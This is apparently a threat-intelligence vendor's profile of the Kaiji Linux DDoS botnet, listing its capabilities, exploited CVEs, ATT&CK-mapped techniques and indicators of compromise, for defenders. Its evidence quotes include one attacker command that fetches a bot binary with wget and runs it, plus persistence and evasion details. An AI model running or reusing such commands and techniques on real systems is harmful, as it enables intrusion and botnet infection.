Skip to main content
Live Webinar with SANS (June 25)— Agentic CTI Automation for Fun & ProfitRegister Free
Mallory
MalwareExploits 2 CVEs

Kaiji

Kaiji is a Linux-focused botnet malware family primarily used for distributed denial-of-service activity and, in some reporting, proxying malicious traffic. It targets Linux servers, IoT devices, and internet-exposed or misconfigured environments, including misconfigured Docker instances; it has also been observed delivered after exploitation of CVE-2025-55182 (React2Shell) and in campaigns exploiting vulnerable Apache2 web servers. Reported Kaiji capabilities include SYN, ACK, UDP, TCP, TLS, WebSocket, and raw-socket flood attacks, arbitrary shell command execution, encrypted or dynamic configuration handling, and in some variants embedded SOCKS5 and HTTP proxy functionality. Persistence and defense evasion are prominent: observed mechanisms include systemd services, SysV init scripts, cron/crontab entries, login/profile scripts, keep-alive scripts, replacement or modification of system utilities such as ls, ps, and netstat, process masquerading, bind-mount abuse to hide process artifacts, SELinux policy weakening, and hardware watchdog abuse to force reboots if the malware is terminated. Kaiji has also been reported deploying or embedding XMRig in some intrusions. The malware has been associated in reporting with Chinese-language artifacts or suspected Chinese-origin activity, though definitive attribution is not established. Multiple sources assess the Chaos botnet as an evolution of Kaiji based on code overlap and inherited routines. Notable infrastructure and indicators directly mentioned in the content include delivery via scripts such as wocaosinm.sh and download.sh, C2 or related domains su6s[.]su and else.su6s[.]su, download server 195.177.94.29:26154, C2 domain gmserver.osfc[.]org[.]cn in Chaos reporting tied to Kaiji lineage, attacker IP 45.12.1.19, and sample hashes including MD5 fd05b94c016fd2eb7e26c406fa2266d0 and SHA256 d0ef2f020082556884361914114429ed82611ef8de09d878431745ccd07c06d8.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

EXPLOITED CVES

Vulnerabilities exploited

2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.

2 CVES
CVE-2025-55182React2Shell

React2Shell in Russia: ... In some cases, the final payloads were the Kaiji and Rustobot botnets...

via risky biz rssnews.risky.biz
CVE-2024-6387regreSSHion

Santander’s security research team claims this threat actor is targeting security researchers by hiding a malicious backdoor in CVE-2024-6387 proof-of-concept code, and when running the PoC it will lead to infection of the server with Kaiji malware.

via aquasec blogaquasec.com
MITRE ATT&CK

Techniques & procedures

23 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

1 technique
T1583.006Web ServicesEvidence1

"...final payloads were the Kaiji and Rustobot botnets and the Sliver implant."

Initial Access

1 technique
T1190Exploit Public-Facing ApplicationEvidence1

"...targeting security researchers by hiding a malicious backdoor in CVE-2024-6387 proof of concept code, and when running the PoC it will lead to infection of the server with Kaiji malware."

Execution

4 techniques
T1053.003CronEvidence3

The script also establishes persistence by creating... a Cron task... If executed without root privileges... adds it to both crontab (via @reboot) and .bashrc... EtherRAT establishes persistence through... crontab.

T1059Command and Scripting InterpreterEvidence1

The commands follow the same methodology: download a shell script, execute it via bash, and in some cases delete the script to remove evidence.

T1059.004Unix ShellEvidence3

After compromising a host via the React2Shell vulnerability, threat actors executed the following commands inside a container: /bin/sh -c 'cd /tmp; wget hxxp://176.117.107[.]154/bot; chmod 777 bot; ./bot...'

T1203Exploitation for Client ExecutionEvidence3

The threat actors leveraged the CVE‑2025‑55182 (React2Shell) vulnerability... Under certain conditions, this can enable an attacker to execute arbitrary code on the server.

Persistence

6 techniques
T1037Boot or Logon Initialization ScriptsEvidence1

Kaiji establishes persistence via multiple mechanisms: systemd services, crontab tasks, init.d scripts, rc.local and profile.d modifications...

T1037.004RC ScriptsEvidence1

".../etc/init.d/dns-udp4 is also created. It is a SysV init script that ensures /boot/system.pub is executed automatically at system startup..."

T1053.003CronEvidence3

The script also establishes persistence by creating... a Cron task... If executed without root privileges... adds it to both crontab (via @reboot) and .bashrc... EtherRAT establishes persistence through... crontab.

T1543.002Systemd ServiceEvidence3

The script also establishes persistence by creating a systemd service /etc/systemd/system/apaches-main.service... If executed with root privileges... creates a systemd service... CrossC2 check.sh creates and starts a service... EtherRAT establishes persistence through: systemd.

T1546Event Triggered ExecutionEvidence1

KAIJI: A DDoS botnet capable of evading detection, setting up persistence, and altering SELinux policies. Its deployment involved moving system binaries, using bind mount techniques, and creating multiple backdoors for control.

T1546.004Unix Shell Configuration ModificationEvidence1

"...drops and runs the file /etc/profile.d/gateway.sh ... overrides several common system commands: ps, ss, netstat, dir, ls, find, and lsof ... filters out..." | "Kaiji malware ... copies itself to /etc/profile.d/bash.cfg ... /etc/profile.d/bash.cfg.sh will run at login and execute /etc/profile.d/bash.cfg"

Privilege Escalation

6 techniques
T1037Boot or Logon Initialization ScriptsEvidence1

Kaiji establishes persistence via multiple mechanisms: systemd services, crontab tasks, init.d scripts, rc.local and profile.d modifications...

T1037.004RC ScriptsEvidence1

".../etc/init.d/dns-udp4 is also created. It is a SysV init script that ensures /boot/system.pub is executed automatically at system startup..."

T1053.003CronEvidence3

The script also establishes persistence by creating... a Cron task... If executed without root privileges... adds it to both crontab (via @reboot) and .bashrc... EtherRAT establishes persistence through... crontab.

T1543.002Systemd ServiceEvidence3

The script also establishes persistence by creating a systemd service /etc/systemd/system/apaches-main.service... If executed with root privileges... creates a systemd service... CrossC2 check.sh creates and starts a service... EtherRAT establishes persistence through: systemd.

T1546Event Triggered ExecutionEvidence1

KAIJI: A DDoS botnet capable of evading detection, setting up persistence, and altering SELinux policies. Its deployment involved moving system binaries, using bind mount techniques, and creating multiple backdoors for control.

T1546.004Unix Shell Configuration ModificationEvidence1

"...drops and runs the file /etc/profile.d/gateway.sh ... overrides several common system commands: ps, ss, netstat, dir, ls, find, and lsof ... filters out..." | "Kaiji malware ... copies itself to /etc/profile.d/bash.cfg ... /etc/profile.d/bash.cfg.sh will run at login and execute /etc/profile.d/bash.cfg"

Stealth

4 techniques
T1036MasqueradingEvidence4

If executed with root privileges, copies the downloaded payload to /usr/bin/sshd-agent... Kaiji... masquerades as legitimate system libraries and configuration files (libgdi.so.0.8.1, opt.services.cfg, System.mod).

T1036.009Break Process TreesEvidence1

PeerBlight overwrites argv[0] in memory to hide its original path ... and replaces it with [ksoftirqd].

T1070Indicator RemovalEvidence1

They deployed KAIJI malware and downloaded a script (00.sh) to erase traces and kill other mining processes.

T1070.004File DeletionEvidence1

The commands follow the same methodology: download a shell script, execute it via bash, and in some cases delete the script to remove evidence ( rm -r wocaosinm.sh ).

Credential Access

1 technique
T1110Brute ForceEvidence1

"One of our honeypots has an exposed misconfigured SSH access, with weak password. The threat actors exploited our honeypot and infected it with Kaiji malware."

Command and Control

4 techniques
T1071Application Layer ProtocolEvidence2

C2 Tracker is a free-to-use-community-driven IOC feed that uses Shodan and Censys searches to collect IP addresses of known malware/botnet/C2 infrastructure.

T1071.001Web ProtocolsEvidence1

"...C2 channels over HTTP/HTTPS and WebSocket (TLS-capable)... The domain su6s.su is used as the C2 server..."

T1090ProxyEvidence1

"...an embedded SOCKS5 and HTTP proxy... proxy malicious traffic, leveraging compromised systems as part of a botnet."

T1105Ingress Tool TransferEvidence4

This script downloaded the XMRig cryptocurrency miner... The attackers also loaded the d5.sh Bash script onto the compromised host to download the Sliver implant... The attackers employed the check.sh Bash script to download ELF executables (a_x86 / a_x64) from a server.

Impact

1 technique
T1498Network Denial of ServiceEvidence3

KAIJI: A DDoS botnet capable of evading detection, setting up persistence, and altering SELinux policies.

Other

2 techniques
T1562Impair DefensesEvidence1

KAIJI: A DDoS botnet capable of evading detection, setting up persistence, and altering SELinux policies.

T1562.001Disable or Modify ToolsEvidence1

"...weakens security controls by auto-generating and installing a SELinux policy to allow previously denied actions by a process named system.pub."

INDICATORS OF COMPROMISE

IOCs tracked for this family

42 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
7 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
15 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
20 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app5 months ago
ip.v4●●●●●●●●●●●●View more in app5 months ago
uri●●●●●●●●●●●●View more in app5 months ago
uri●●●●●●●●●●●●View more in app7 months ago
domain●●●●●●●●●●●●View more in app8 months ago
hash.md5●●●●●●●●●●●●View more in app8 months ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching42

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities2

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping23

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.